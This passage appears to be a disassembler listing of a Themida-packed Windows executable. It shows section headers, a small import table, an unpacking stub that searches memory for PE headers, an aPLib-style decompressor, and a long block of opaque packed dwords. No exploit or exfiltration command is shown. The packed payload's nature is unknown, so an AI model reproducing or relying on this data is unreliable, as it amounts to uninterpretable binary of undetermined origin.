DATA XREF: sub_41E742+311w ; sub_41EA6B:loc_41EABBr ... dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr ; sub_41E742+260r ... dword_4DD378 dd 0 ; DATA XREF: sub_41E717r ; sub_41E742+2CBr ... dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r ; sub_41E742+2D0r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 2460000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar ; ___:004237B5r dword_4DD390 dd 1 ; DATA XREF: ___:00423780w dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD398 dd 2460758h ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD39C dd 2460758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 318h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DF000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000E0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E0000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0E0050h, 0E0000h, 3 dup(0) dd 0E0079h, 0E000Ch, 3 dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E1000) ; Virtual size : 000FD000 (1036288.) ; Section size in file : 000FD000 (1036288.) ; Offset to raw data for section: 000E1000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 4E1000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0FDA6DA5Fh, 47360h, 54143h, 96172h, 0 ; --------------------------------------------------------------------------- mov eax, 0 pusha or eax, eax jz short loc_4E1086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E1041 popa jmp short loc_4E1076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 10h, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E1041: ; CODE XREF: Themida_:004E102Cj call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E104E: ; CODE XREF: Themida_:004E1072j mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E106D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E1074 loc_4E106D: ; CODE XREF: Themida_:004E1059j sub eax, 1000h jmp short loc_4E104E ; --------------------------------------------------------------------------- loc_4E1074: ; CODE XREF: Themida_:004E106Bj mov edi, eax loc_4E1076: ; CODE XREF: Themida_:004E102Fj jmp loc_4E1265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0E126Ah add ecx, edi jmp short loc_4E1090 ; --------------------------------------------------------------------------- loc_4E1086: ; CODE XREF: Themida_:004E101Cj mov eax, offset loc_549A0D mov ecx, offset word_4E126A loc_4E1090: ; CODE XREF: Themida_:004E1084j push eax push ecx call sub_4E111B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E1265 ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E111B proc near ; CODE XREF: Themida_:004E1092p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E1132: ; CODE XREF: sub_4E111B+7Aj ; sub_4E111B+C3j ... add dl, dl jnz short loc_4E113B mov dl, [esi] inc esi adc dl, dl loc_4E113B: ; CODE XREF: sub_4E111B+19j jnb short loc_4E1127 add dl, dl jnz short loc_4E1146 mov dl, [esi] inc esi adc dl, dl loc_4E1146: ; CODE XREF: sub_4E111B+24j jnb short loc_4E1197 xor eax, eax add dl, dl jnz short loc_4E1153 mov dl, [esi] inc esi adc dl, dl loc_4E1153: ; CODE XREF: sub_4E111B+31j jnb loc_4E1238 add dl, dl jnz short loc_4E1162 mov dl, [esi] inc esi adc dl, dl loc_4E1162: ; CODE XREF: sub_4E111B+40j adc eax, eax add dl, dl jnz short loc_4E116D mov dl, [esi] inc esi adc dl, dl loc_4E116D: ; CODE XREF: sub_4E111B+4Bj adc eax, eax add dl, dl jnz short loc_4E1178 mov dl, [esi] inc esi adc dl, dl loc_4E1178: ; CODE XREF: sub_4E111B+56j adc eax, eax add dl, dl jnz short loc_4E1183 mov dl, [esi] inc esi adc dl, dl loc_4E1183: ; CODE XREF: sub_4E111B+61j adc eax, eax jz short loc_4E118D push edi sub edi, eax mov al, [edi] pop edi loc_4E118D: ; CODE XREF: sub_4E111B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j mov eax, 1 loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j add dl, dl jnz short loc_4E11A5 mov dl, [esi] inc esi adc dl, dl loc_4E11A5: ; CODE XREF: sub_4E111B+83j adc eax, eax add dl, dl jnz short loc_4E11B0 mov dl, [esi] inc esi adc dl, dl loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej jb short loc_4E119C sub eax, ebx mov ebx, 1 jnz short loc_4E11E3 mov ecx, 1 loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j add dl, dl jnz short loc_4E11C9 mov dl, [esi] inc esi adc dl, dl loc_4E11C9: ; CODE XREF: sub_4E111B+A7j adc ecx, ecx add dl, dl jnz short loc_4E11D4 mov dl, [esi] inc esi adc dl, dl loc_4E11D4: ; CODE XREF: sub_4E111B+B2j jb short loc_4E11C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j add dl, dl jnz short loc_4E11FA mov dl, [esi] inc esi adc dl, dl loc_4E11FA: ; CODE XREF: sub_4E111B+D8j adc ecx, ecx add dl, dl jnz short loc_4E1205 mov dl, [esi] inc esi adc dl, dl loc_4E1205: ; CODE XREF: sub_4E111B+E3j jb short loc_4E11F1 cmp eax, 7D00h jnb short loc_4E1228 cmp eax, 500h jb short loc_4E1223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1223: ; CODE XREF: sub_4E111B+F8j cmp eax, 7Fh ja short loc_4E122B loc_4E1228: ; CODE XREF: sub_4E111B+F1j add ecx, 2 loc_4E122B: ; CODE XREF: sub_4E111B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E1259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E1132 ; --------------------------------------------------------------------------- loc_4E1259: ; CODE XREF: sub_4E111B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E111B endp ; --------------------------------------------------------------------------- loc_4E1265: ; CODE XREF: Themida_:loc_4E1076j ; Themida_:004E10B1j jmp loc_549A0D ; --------------------------------------------------------------------------- word_4E126A dw 38E9h ; DATA XREF: Themida_:004E108Bo dd 156352Ch, 6552F0AFh, 61741C73h, 7041CE72h, 784F2E2Fh dd 0D6F7239Ch, 21DC3343h, 0C201F9D7h, 92F1DF1Fh, 78920817h dd 0F9FA70DAh, 0EEBE010Eh, 1FE17122h, 102E24F2h, 8B35BCBAh dd 87EA2B84h, 7D0803CAh, 6854407Dh, 691C6D65h, 0DD216164h dd 0C2214554h, 36455E1Dh, 0BF7E35C2h, 0E65FA495h, 1BE10398h dd 0B82223EFh, 8BF5BB47h, 7011A3D0h, 0DE558503h, 0BF040148h dd 0C5728BFCh, 0E860D410h, 0ED815D80h, 0A803353Bh, 69958906h dd 0B50D0834h, 858432BDh, 830F225Dh, 1C159964h, 8B0C7403h dd 0B8E291E8h, 0DEC26D43h, 24443870h, 1F253EE2h, 0E8456A00h dd 6829C0A3h, 783749Ah, 0AA0DFF4h, 893D4B25h, 12D5220Ah dd 2B0214E9h, 555E828h, 0C483EC8Bh, 5AEE60D8h, 2920EA81h dd 0DA8B0436h, 8DD845C7h, 400E8C08h, 7E810889h, 1D80637Dh dd 203F0F74h, 93839208h, 12FF104Ch, 0E1EB3143h, 0BA61DC36h dd 0C2C90A26h, 81034604h, 47FF7CC4h, 72224902h, 80458D00h dd 0C7085D8Bh, 2519A285h, 0A008D50h, 1888C3D1h, 0B895441h dd 6BD5181h, 0E3755D01h, 8D14274Ah, 27664BAh, 0E8A8075h dd 5B48F4BBh, 3707ABB8h, 0D0D37854h, 1D080FE6h, 82F7754Bh dd 4647C3AFh, 46314A92h, 0D14251F9h, 38A5D61h, 0ECAFF0D0h dd 0FC5045EEh, 451EB4Dh, 8046E4ADh, 0F7403E62h, 73849BBAh dd 0C7D0C34h, 0F83E7FEBh, 126D6486h, 540E26F0h, 0A4A10F4h dd 4F065C1h, 0D1F801D6h, 0CBC203E0h, 0DB332800h, 80301C8Ah dd 6172E6FBh, 77390A0Ah, 0F7EBE905h, 143F2293h, 0A0DB361h dd 7A08FB66h, 75C3FA1Eh, 1A10610Ah, 860B7241h, 677460Ah dd 110F524h, 0ECC3F05Dh, 987D83F4h, 0D9B07202h, 0BB76C00Ch dd 26AA32A5h, 3B700EF8h, 3BA8508Dh, 0FFC5505h, 0BD4E7882h dd 38AA0DB0h, 8BA87F2h, 7005B907h, 0B8BDFC42h, 0FFE0037h dd 750E4947h, 2E22B9FAh, 1BBE36Ah, 82F1E811h, 2BBEDEBh dd 0BE868E00h, 5107A939h, 367E6570h, 268AB98Bh, 0C8E927DEh dd 0F98599Dh, 0F7AF0Dh, 0F95B6C9Ah, 0AD73879Dh, 21BC1F0Eh dd 8FD36724h, 6B5C3250h, 0E9561B01h, 5ED93904h, 6D8AC8C4h dd 8205250Ch, 0C01E0845h, 0C4564621h, 0DB002FC3h, 0F031C25Dh dd 7BA382B7h, 0B810192Ch, 80F19CDAh, 0BE5BCFEh, 0E68C0ECBh dd 367E034h, 5B4E3982h, 30070F76h, 0D1043D51h, 46663BC7h dd 9751466h, 0E608C2Eh, 65E4EC48h, 76069028h, 5C58402h dd 0A4D1968Eh, 4785393h, 8C29C254h, 0E7DC7166h, 98AADD0Eh dd 77812BFFh, 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh dd 39EFB30Ah, 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h dd 628060E9h, 4D8C52C4h, 82112504h, 0AB26B1AAh, 13845A68h dd 0F9305645h, 55EE825Eh, 1A4281DCh, 0D58A279Ah, 231310B9h dd 46439729h, 0D714DA61h, 70C94C44h, 8F51623Ah, 0C75CDCC0h dd 0BC30DA8Dh, 18815907h, 325705E2h, 4701CBECh, 10CA0B5Ch dd 579D1A86h, 349E8CC8h, 15D80288h, 1894C430h, 1538EA79h dd 31429BCh, 9F192336h, 584DA1A2h, 0C4726018h, 117D8A23h dd 5848001Bh, 0ABE79CC4h, 5B3C07D8h, 90E482A9h, 8A44EE15h dd 32FA8618h, 0C012EA64h, 114B7337h, 480F6D63h, 205FCD76h dd 0B2A4ED55h, 6CBD31F8h, 1109638h, 791011E9h, 16000D06h dd 85171BAFh, 31AA8BEh, 76D37D19h, 0F200546Ah, 5F43C7F3h dd 0A28C105Ch, 7085066Dh, 0E02CF2E0h, 6105FCF6h, 0CDDF323Ch dd 0C0C1D0B4h, 773A218h, 3ECEB314h, 0F10133CBh, 557F0FAh dd 60E9F4FDh, 7F53DC1Dh, 6A5F1058h, 0BA811E75h, 85384012h dd 96B9CB0Dh, 0E40CF400h, 0CFEBD382h, 0A15AEE37h, 0DC488DF3h dd 0B1560EAh, 95F30A08h, 18DCC800h, 7CF9100Dh, 7846006Eh dd 8E6BDD24h, 9062998Bh, 905154B8h, 185A5B70h, 1113EA61h dd 0FB006AF9h, 58450A62h, 0E8BADFD8h, 0CED43973h, 0C064E280h dd 844FEEB9h, 80627E39h, 0B2BB05F0h, 7031791Ch, 97893882h dd 45349070h, 2284D922h, 0DBA0066h, 0EA35D4AEh, 9415C02Ah dd 65664E30h, 6A443800h, 4CA71484h, 6F1501BEh, 8E10350Dh dd 0B62F8903h, 0A04E093Ch, 468F1B5Ch, 5C66002Bh, 9250940Dh dd 6E74F578h, 93E87403h, 0A7DE6DFBh, 0D65583C3h, 1D641D19h dd 5D3A208Eh, 0B40CCh, 3742492Bh, 1DA88B1Bh, 0BF344100h dd 5A229FB3h, 0BB210384h, 0B69A88ABh, 0BCD6C0EFh, 6D1D40AEh dd 4B80D119h, 4D2B31B9h, 537B063Ch, 208314EEh, 57087201h dd 0DE1CC712h, 6C337020h, 0D44879A4h, 0F0CC9141h, 726F01BCh dd 8FE5379h, 731880AFh, 3F6A37DBh, 339006h, 6F9C7F9Dh dd 7E57A5AEh, 2358C361h, 0D9807BF9h, 79D6036Dh, 0EA0532A1h dd 6AF3A08Fh, 213B8046h, 0DDDA0084h, 7E3344D2h, 8A03FBF6h dd 0C2577FC5h, 17A901CCh, 1A6470B5h, 83598589h, 0A4216D57h dd 91167544h, 5283BA0Ch, 0A332168h, 4C5F39B9h, 0AB803D88h dd 5355D5AEh, 63E0D4CCh, 8AFA29C0h, 9C68CFh, 0DA4AFE5Ch dd 0E31F473Eh, 55ABDD00h, 279E8BA3h, 1D62303Ah, 3309B998h dd 7B056779h, 2D542A8h, 5B838C42h, 1740806Bh, 0DC72530Ah dd 1CEA4228h, 7D00A212h, 0C0B4362Fh, 0DB743BE8h, 0C148A5Bh dd 20EC5587h, 8730285h, 9C31B78h, 53742448h, 89A8E618h dd 23B1120h, 0FE7F33C4h, 0C4AF0E57h, 6C807142h, 0DB78D080h dd 8B6054EEh, 673A1730h, 10109242h, 0E92C0F6h, 0D8598437h dd 0FB8E9AB9h, 9AA0420h, 0CCECD928h, 55856811h, 358407B8h dd 837EA0C4h, 0EB00FF0Ah, 0A5C899A4h, 1A02E21Ah, 90C02E27h dd 1908F000h, 10911364h, 4E27FD02h, 0F9F4A3C1h, 16190086h dd 9E37A01Dh, 613B95F6h, 44EA04A7h, 3C98D5DAh, 4564883h dd 32ED4A81h, 0D42087CFh, 0B14CE7D9h, 6F021819h, 0D6D5F04Ah dd 8A85420h, 68F30573h, 0C0A3CB8Fh, 7CAD221Ch, 8DBC02C9h dd 1A3388C5h, 5C93D1E2h, 232E8EF0h, 0F0A28007h, 5D223471h dd 57CCA1CAh, 97431350h, 1C7BF80Eh, 430100AFh, 15FAA4C5h dd 7D18D1FBh, 5381008h, 64DE18B3h, 9E3990A3h, 67E65726h dd 998A983Dh, 4A43C1h, 30A88890h, 194775AEh, 7BD6573Ch dd 99B38CFh, 37702397h, 339C68Ah, 2445FCF1h, 38D1BD39h dd 4BE8418Fh, 0B196F3C3h, 0D97EF337h, 70301A07h, 0DA5B9Eh dd 0EAE3CEA6h, 80053099h, 5E3BF700h, 18C89DA9h, 4E8B303Ah dd 929B8670h, 594F0218h, 37D65D10h, 0C198B74Ch, 0F8ACD8F1h dd 71C5C4A1h, 72C2E6E8h, 73D480A9h, 49E53CFEh, 0B0ADC80h dd 9D8B455h, 98007E0Fh, 811FD35Ch, 6CA23Ah, 0D44191C9h dd 0E966F23h, 20E5A875h, 2A13B060h, 0AD004617h, 34585ED3h dd 0F407D141h, 0F974E9h, 0DA9BDD0Eh, 467D880Bh, 98781070h dd 8452AF12h, 5880BC00h, 0A4E6D1h, 0ABAD682Ch, 1E99505Eh dd 0A6D0D0Eh, 1A08009Ch, 85D3D2h, 0D7D0E87Eh, 841FA3A5h dd 0DE108602h, 64EDE981h, 0E4FB3CB8h, 0D9D3F860h, 0CCA89E0Fh dd 0EF760A1Bh, 0B006E0D2h, 99319704h, 0BEB20008h, 0CB8DB479h dd 0A550841Dh, 4C961AC0h, 155172B9h, 34EE5530h, 0A5397C30h dd 0E3072B11h, 1420556h, 0F8FEF40h, 0B8CD506Eh, 2A5F12FDh dd 0D53004BEh, 0BAB4093h, 0C29AE5D9h, 0DBFFC511h, 0E9F0D8A0h dd 0BE4042ECh, 30377BDAh, 35117617h, 0BB0C9108h, 0D06DF731h dd 0A698C8DDh, 0F4FE833h, 0E49A4E19h, 612A099Eh, 57E8A080h dd 8A31BCA1h, 0C49D799Ch dd 928341ECh, 0B0AE6708h, 493A68EAh, 0C8044D24h, 0DFE34E5Ch dd 9803C542h, 14D6AB0Ah, 3688099Ch, 6C905784h, 3E05619Bh dd 87F4DED3h, 1730BC70h, 63AD00D6h, 541BB494h, 4D00E14Ch dd 0F5793B8Fh, 78D1E6ABh, 0FA31C0F8h, 72D42C8Bh, 3CD3C26h dd 0DDCE14h, 0C0887889h, 3FA2EBDDh, 0A72A8503h, 0D80098B8h dd 1844A864h, 33116418h, 332FFD51h, 0A3F099C6h, 0C35A3811h dd 8C29B0Bh, 1C400012h, 2808E38h, 11D91646h, 0FB844647h dd 0F4075182h, 0F9688EE7h, 9FE06A47h, 155D011h, 0C2A9E630h dd 19437FDh, 9832EBD9h, 63099B05h, 1EDC1F78h, 640C24EEh dd 328840DAh, 6C8410Fh, 5F0A1933h, 0A891307Ch, 0F0A94880h dd 129E83h, 6072FC93h, 0B02F21D6h, 83A17869h, 0B448DE64h dd 197EEA06h, 0C4E0D462h, 9E730174h, 40C8ED47h, 9544E68Ch dd 0C4A06B51h, 0BD604A4Fh, 66F09418h, 0BA59C1CDh, 0FCC36E30h dd 2300C4DBh, 8A5C2E0Ch, 702B3429h, 30E2483Ah, 0B8DE5708h dd 52D6AD1Ch, 11882050h, 0FB29CAE9h, 0BE9C00F8h, 622032B7h dd 0DBC01F00h, 17B6E4A6h, 22031CFDh, 19857F58h, 56C2B3Ah dd 916B1A88h, 7C39674h, 80C8F867h, 0B531D35h, 2272F90Fh dd 11198460h, 7573097h, 0F2BB704Dh, 0A28930E1h, 590CCF35h dd 0E9D65E4Eh, 282300ADh, 0DA7D2EA7h, 860F34ECh, 0E1DC7980h dd 52A3321Bh, 3A88CC30h, 5585D564h, 41A5B4F6h, 0EA4FFEACh dd 0B0C104CCh, 78029BC5h, 0B4AF8C82h, 0E320E444h, 48EEF867h dd 93014D30h, 322F9E72h, 4AE82066h, 0C92D526h, 0A2E980BAh dd 0EE53D3ACh, 48A160B0h, 0BE4706D1h, 0E8709661h, 8311B6ECh dd 6E4225Eh, 0BC620F6Ah, 4594219h, 0B34E4CEAh, 23570701h dd 8878BF51h, 3EB28AE7h, 0B6BA478Ch, 0D45C4860h, 60EE17F4h dd 1A197C41h, 1B07465Bh, 0BF261883h, 64035124h, 66103A1Dh dd 7C518856h, 8AA42FD2h, 9FB49048h, 3302BEAFh, 325708ACh dd 0E264E8BBh, 0F6D33E7Fh, 0FB9C064Ah, 688441CDh, 86603FEEh dd 971AAE81h, 0C7F61D9Ch, 878A41Eh, 0E907CD76h, 5684A6D7h dd 0DBA00CD0h, 91E06066h, 5B3E4F8Ah, 51C1D907h, 9C30AF10h dd 58975045h, 0B3016C73h, 0D25556FEh, 7012E570h, 438A76C0h dd 0FA1CA953h, 5A83AC51h, 9E009432h, 640A8770h, 64B2290Fh dd 2C548425h, 887F486Ch, 287B7BD4h, 122D3001h, 239F72D7h dd 909EF820h, 0C256200Ch, 50058737h, 4F068298h, 4048AF8Eh dd 0C9400E4Ch, 0D6530843h, 22259AB0h, 57AF450h, 64C004AAh dd 824A218h, 319ADA2Fh, 50CB5D10h, 996A4690h, 0DFD38500h dd 4175663Fh, 678103ACh, 0BEEF6265h, 0CD3122h, 2D7DBC79h dd 83AC275Bh, 0B9D1DF00h, 0DDEAABD8h, 8A250222h, 6556841Ch dd 5F17F052h, 88417712h, 9654D655h, 8C20B025h, 546948D0h dd 16D5421Fh, 16C421ADh, 33188E65h, 9C26BC1Ah, 8C2CEB40h dd 1C4900AEh, 3890F015h, 8A315F08h, 7135E0C4h, 52F35888h dd 841B640Ah, 36C29D47h, 348209C7h, 5C03DA5Ah, 51E102E1h dd 1E7C6E09h, 86CC58E0h, 7C3390Ch, 0E7E21DFh, 1FE7EF12h dd 8CA3D287h, 10A05C18h, 0A5014833h, 19231C5Bh, 6474C312h dd 7C3B1E85h, 44A82ACCh, 0F9F009D3h, 0A100BE7Dh, 34388394h dd 96FF39B9h, 40E90040h, 443719B7h, 648310C7h, 5D306879h dd 2649C0D5h, 302AD3A4h, 62170D1Fh, 0F679C440h, 7F161Bh dd 0FC12927Dh, 0CE1EA8B5h, 73EBF500h, 0BF62CB45h, 1BFE39A6h dd 0A88316F4h, 0E2581F22h, 1891593Fh, 5D81BF02h, 3A904889h dd 0B05A2901h, 40B9FE2Fh, 1C324A8h, 5B91D860h, 4C8A05ADh dd 9C22DC5Ah, 5F654504h, 40B39B06h, 0EB121B05h, 0F909391h dd 24E9C0CFh, 0C003E11Ch, 0FE428A6Ch, 79EEB8C6h, 707D0083h dd 0BF10084Ah, 0E3291849h, 0D0C204ACh, 9EC80003h, 2100F1AEh dd 0B52FBE01h, 0CAF5B07h, 0EB77D6C2h, 0BD0CE318h, 40E62EC5h dd 7FB900DEh, 0F638ABA0h, 0E260FF61h, 0CE525B18h, 0AE730F55h dd 0AF8FA5F0h, 0D73FBC80h, 180CD1B0h, 3874942Ah, 0FEC4F047h dd 19501F44h, 0D01A7C33h, 301C10A4h, 452D7208h, 0DC44F40Ah dd 4391C6Ah, 78AE4954h, 0DDD6D280h, 0F70DC14Dh, 29C0D129h dd 0A0AAE6F0h, 8D2698h, 0B0BE4847h, 0ADE56DA5h, 8B281350h dd 8461B97Ah, 0DB4E2978h, 52E4B448h, 0BA1FA83Eh, 30082AC4h dd 85D9865Ch, 41DE7221h, 0E59E9604h, 0BAF67840h, 0C4A823D6h dd 0D1303250h, 0C40479D8h, 0D4C35771h, 8102D018h, 312AC2C5h dd 0B00A1829h, 0F0450757h, 0ACDE9C80h, 60019E99h, 449B70ADh dd 7B0083F9h, 0CB24422Ch, 0C5BAA6Ah, 5446AC9Dh, 4441EFD0h dd 491DC4D8h, 841228C5h, 98302345h, 8CD9D807h, 8DC7D0F6h dd 1F822380h, 0DFF40037h, 46E0E403h, 0B8882B8Eh, 9F4CA367h dd 0CAE5AA3h, 2883FB58h, 8C0EE9D1h, 8EA5D166h, 17A1805Eh dd 1BC2D15h, 3F24F901h, 81AB2041h, 857AA91h, 1180AFBAh dd 0F541A022h, 842A967Ah, 0E562B044h, 20399E10h, 3583BEBDh dd 0C22ABCE2h, 5515C46Dh, 0A128AB23h, 0C1FABDCh, 580509C0h dd 941E54D0h, 0EF08008Ah, 6D07F597h, 0F315F244h, 1A4512Fh dd 0BAF931BFh, 405A3457h, 0F3C39203h, 39005030h, 29EB2CCEh dd 0CBD793Fh, 0E4DC7EA5h, 1B3A1E91h, 53527846h, 3C472BD8h dd 60859658h, 71D05940h, 0D9C301EBh, 42E0BA09h, 7EB23431h dd 29C98117h, 0FCEA2C2Fh, 1C317925h, 4E3D1A3h, 52A3AC8h dd 84B05E50h, 2480AECh, 1B64D9BCh, 9765080Ch, 4976F661h dd 0F8806C90h, 0A281AD04h, 0BDBCA1E2h, 619409C7h, 0D3215443h dd 3385F08h, 0F3982E30h, 713843DBh, 0FE00FCC2h, 9CD010BAh dd 14C0BF32h, 0DC190A83h, 70907Ch, 1AC2FCE1h, 0B7F96B2h dd 7BB881C1h, 0F5F18D47h, 0A459204Ch, 915C31BCh, 205F2C99h dd 0A0908A9Ch, 77628D0Fh, 0DDDA82A5h, 801048A3h, 2D38C03Ch dd 0E231945Fh, 91018177h, 0D69CAEEAh, 82F0E902h, 1079CBh dd 0F58D80B8h, 2CB2EBCFh, 9754EC00h, 4D1D479h, 0D3221E94h dd 0FCD9C03Fh, 1A6C2AE9h, 188FB700h, 19FDBBDEh, 0FBA01E4Fh dd 20007EA3h, 7797565Ah, 760E6EAh, 153FCD40h, 0C6E200ABh dd 0DD059E2Ah, 0D239E768h, 3CB800C9h, 189FC8CCh, 0EA6D03E2h dd 0EC4A8555h, 4D9450F7h, 0F08090C5h, 882058C6h, 0FDAA0491h dd 0DA76F850h, 0A1171285h, 67D800E2h, 0E760DB1Dh, 1308CA00h dd 0B73D4063h, 1E2739Eh, 4851587Eh, 0C5C3E93Fh, 80D9D522h dd 77EAD740h, 0CA8F63h, 0E1E868B1h, 2675A4C9h, 0A7F04800h dd 4A0198ABh, 7342005Dh, 94BFCA0Eh, 8308D93Eh, 0EBD01Dh dd 95DECB55h, 0C900E6D3h, 0A13471D6h, 0BDDBC8h, 91447EB3h dd 0D3104E92h, 4221FE00h, 0A41DD21Fh, 9A7701F5h, 95E32868h dd 3383045h, 0D0759491h, 7A00CF7Ch, 0E9ED0611h, 4CB6C29h dd 0E7D268C0h, 254F80C9h, 9F5CF8CCh, 182C0019h, 0E179925Eh dd 21550327h, 1C82D37Ch, 60AAAFD0h, 0DB19D901h, 520BE76Eh dd 3B2D7FE4h, 0D000F3A7h, 441C7C8Fh, 0E2184546h, 0D540C30Bh dd 910F2090h, 10D69600h, 0BD068B2h, 0B9AE0008h, 60C43E39h dd 58F8AC07h, 4500B490h, 2055DE0Fh, 1D90E7BEh, 4FAFAAE3h dd 0B2A18F9Ch, 661DD062h, 66A0AE8Ch, 0DC017A5Dh, 0F5D9EE3Fh dd 1FE897E9h, 845F01E5h, 627FC927h, 17900058h, 0EA6705B1h dd 80083A50h, 6F94605Ch, 1CD6DC03h, 0CFB2E49Dh, 67B51BF0h dd 10DF0144h, 92407AAFh dd 0B3EBF4FAh, 0DBFA957Fh, 0D3D65600h, 0F7BE23C4h, 94140085h dd 0C567E3EEh, 9A00E2CAh, 81C9CC82h, 0EA972F65h, 0F0ED0060h dd 465B192Ch, 0C200E675h, 0ACBD9607h, 0AE1787h, 9D63B5AFh dd 0D290A405h, 9FBEDD05h, 0AC82327Ah, 5CE120A9h, 0E2294248h dd 4238811h, 0F53EF67Fh, 286A807Dh, 21EF4785h, 53953AD9h dd 344AF57Bh, 46B3FB0h, 0C823B500h, 688FE420h, 56A90722h dd 38E5D003h, 60E71E50h, 2D94189Ah, 6C74B01Bh, 7421840Bh dd 0C028E098h, 77B8000Ah, 0AF5B265Dh, 7029449h, 228CD2FDh dd 14DA55h, 4CB0B6C8h, 80E4011Ch, 0D37BCA3Ch, 0FCF5051Ch dd 50F4DBD2h, 47580072h, 46AF5CB9h, 0BCE4BFF4h, 0DC29AE00h dd 5F960121h, 40336071h, 0AC9CC3BAh, 37EBD311h, 2170300h dd 0A520BC79h, 0F165FF1Ah, 48F208h, 5E02FEF9h, 19554E1Ah dd 0B06DE403h, 0C64831BDh, 9A3022E8h, 117F9619h, 0D2E19D59h dd 1FFA3448h, 0A3BC7C02h, 0F8000911h, 0B16D0201h, 91F6F931h dd 0B50443Eh, 0E3C330F4h, 3BDD9040h, 83E60071h, 9EBB6A40h dd 0E8D9DE3Dh, 0C819E070h, 0BC237602h, 3D081128h, 1C0200FAh dd 8E9C80CCh, 48AB6135h, 4242843Ah, 0E8F283C8h, 6BF59300h dd 0AF73207Fh, 0FFBC0780h, 50EF0ED6h, 0B3D147C2h, 6AB081E3h dd 461FAE5h, 0CD384900h, 8ACC7101h, 8345D0C6h, 3730C87Ch dd 71B54221h, 0BC29AD03h, 8823E2B8h, 0AFB66D9h, 3A6957D7h dd 0EA983CDCh, 1561B907h, 0A79F3B00h, 90CDB708h, 0D7DC00BAh dd 6F369709h, 9D3B4FE3h, 8CD03E8Ah, 